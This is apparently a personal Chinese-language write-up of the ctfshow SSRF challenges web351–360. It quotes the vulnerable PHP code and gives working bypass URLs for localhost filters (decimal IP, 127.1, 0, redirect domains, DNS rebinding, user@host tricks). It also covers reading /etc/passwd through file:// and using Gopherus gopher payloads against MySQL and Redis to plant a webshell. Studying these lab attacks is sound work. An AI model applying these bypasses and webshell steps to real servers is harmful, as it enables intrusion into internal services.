ctfshow web351
curl_init()
:初始curl会话
curl_setopt()
:会话设置
curl_exec()
:执行curl会话,获取内容
curl_close()
:会话关闭
<?php
// 关闭所有错误报告(不显示任何PHP错误)
error_reporting(0);// 高亮显示当前文件的源代码(通常用于调试/演示)
highlight_file(__FILE__);// 从POST请求中获取名为'url'的参数值
$url = $_POST['url'];// 初始化一个CURL会话,指向用户提供的URL
$ch = curl_init($url);// 设置CURL选项:不包含HTTP头部在输出中
curl_setopt($ch, CURLOPT_HEADER, 0);// 设置CURL选项:将传输结果作为字符串返回而不是直接输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);// 执行CURL请求并将结果存储在$result变量中
$result = curl_exec($ch);// 关闭CURL资源
curl_close($ch);// 输出请求结果
echo ($result);
?>
这里面比较关键的还是curl_exec函数,用于执行url请求,看到这里我们就可以考虑利用file协议读取目录敏感文件了,只是不知道flag在什么目录下面,可以先看下/etc/passwd
貌似没有什么有用的线索, 想了想要不要试一下当前目录
果然还是什么都没有吗,要不要看看页面源码
果然藏在页面源码里面,有个if语句还检查了是不是来自本机的ip,说明http://127.0.0.1/flag.php
说不定也可以
ctfshow web353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker
一样的,会执行你的curl会话,只要访问本地目录flag即可,但是过滤了127.0.0.1
// IP转数字
url=http://2130706443/flag.php
// 缺省零
url=http://127.1/flag.php
// 127.0.0.1 ~ 127.255.255.254 都表示 localhost
url=http://127.255.255.254/flag.php
// sudo.cc
url=http://sudo.cc/flag.php
// 0 在 linux 系统中会解析成 127.0.0.1
// 在 windows 中解析成 0.0.0.0
url=http://0/flag.php
ctfshow web354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker
这次过滤了0和1还有localhost,之前数字转ip还有省0都用不了,就sudo.cc还可以用
想要解题就得利用302重定向,搞一个dns解析到127.0.0.1的域名,可以自己买一个也可以自己找一个,在http://127.0.0.1/flag.php
中替换到127.0.0.1即可
url=<a href="http://www.ruiaxx.cn/flag.php" title="http://www.ruiaxx.cn/flag.php"
>http://www.ruiaxx.cn/flag.php
ctfshow web357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {die('ip!');
}echo file_get_contents($_POST['url']);
}
else{die('scheme');
}
?> scheme
这块代码审计没碰过废了好大力气才看懂,其实就是post传参url,将 url拆解成 scheme(协议)、host(主机)、path(路径)等部分传给变量x,,然后if语句检测scheme部分是不是http或者https。gethostbyname函数会直接返回主机ip。if语句判断ip是不是私有ip或者回环ip,是的话就输出ip!结束,不是的话就会输出URL读取到的文件内容。如果不是http协议就会输出schema结束
综合上述代码内容,基本上ip转数字,302重定向,多类型回环地址基本都用不了,怎么办呢。别急,还能用DNS重定向。
DNS重定向也就是在DNS解析服务端和客户端url的短暂间隔内,更改url对应的ip即可达到访问内网的目的,但是这个我只能说有可能成功,不一定能完全成功,需要多试几次(运气好一次试出来当我没说)
提供一个实现dns重定向的网站,这里A和B里面公有ip和私有ip写哪都可以
[https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg](https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg)
ctfshow web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){echo file_get_contents($url);
}
检测url
- 以
**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">http://ctf.</font>**
开头(不区分大小写,**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">/i</font>**
修饰符)。 - 中间可以是任意字符(
**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">.*</font>**
)。 - 以
**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">show</font>**
结尾。
我本来想找一下可以解析为127.0.0.1的域名中有没有存在ctf.
开头的域名,结果没有。只能另辟蹊径
没想到这道题问deepseek居然可以直接出答案
解法
[<font style="color:#000000;">http://ctf.@127.0.0.1/flag.php?show</font>](http://ctf.@127.0.0.1/flag.php?show)
这里其实涉及一个很古老的url片段,以前的url会在协议后面加上用户名例如
<font style="color:#000000;">schema://username@host:port</font>
,现在因为密码明文运输了其实这种写法很少见了,但是这里正则匹配要求ctf.开头的话就只能使用这种方法了,结尾要show作结尾的话可以让其作为参数结尾反正不影响路径
ctfshow web359
题目提示
打无密码的mysql为什么是无密码呢? https://paper.seebug.org/510/ MySQL客户端连接并登录服务器时存在两种情况:
需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,
服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。
所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,
本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。
首先打开题目发现是登录框,理所当然抓个包看看
可以看到有两个可以利用到的参数
利用returl参数请求一下百度发现可以
一般 SSRF 打内网应用主要还是通过协议,比如用的比较多的是 gopher
具体怎么做呢?
细心的同学可能发现,无论是用 gopher 攻击 redis、mysql、还是 ftp,这些主要都是基于 tcp 协议为主。这和 gopher 协议的基本格式有关
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
因为,如果想要打 MySQL 就需要知道 MySQL 通信时的 TCP 数据流,才能知道要怎么和 MySQL 通信,这里可以通过 Wireshark 抓包来分析
不过这里有个更好用的工具
https://github.com/tarunkant/Gopherus
他包含常见的应用 gopher 数据包的格式构造, 原理也是通过 Wireshark 抓包分析,然后写脚本。
当然,除了满足MySQL未授权外,还需要MySQL开启允许导出文件以及知道网站根目录,本漏洞才能成功利用,缺一不可。
这个 <font style="color:rgb(232, 62, 140);background-color:rgb(246, 246, 246);">/var/www/html</font>
目录是如何知道的呢?应该是爆破的…
生成的 POC 里,<font style="color:rgb(232, 62, 140);background-color:rgb(246, 246, 246);">_</font>
字符后面的内容还要 URL编码一次,因为 PHP接收到POST或GET请求数据,会自动进行一次URL解码,然后,比如 %00 解码后,PHP会直接截断。。
ctfshow web360
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
开始没看题目提示,一看这里什么都没过滤,file伪协议,http伪协议都用了,但是因为不知道flag在哪所以一直写不出来,看了题目提示才知道要打redis
利用工具生成一下webshell,默认是生成shell.php
这边发的包会超时,但是不用担心,shell.php还是生成了的
访问一下,果然生成了
首先看看当前目录有没有flag
看看根目录下有没有flag
果然有,flag以后就在flaaag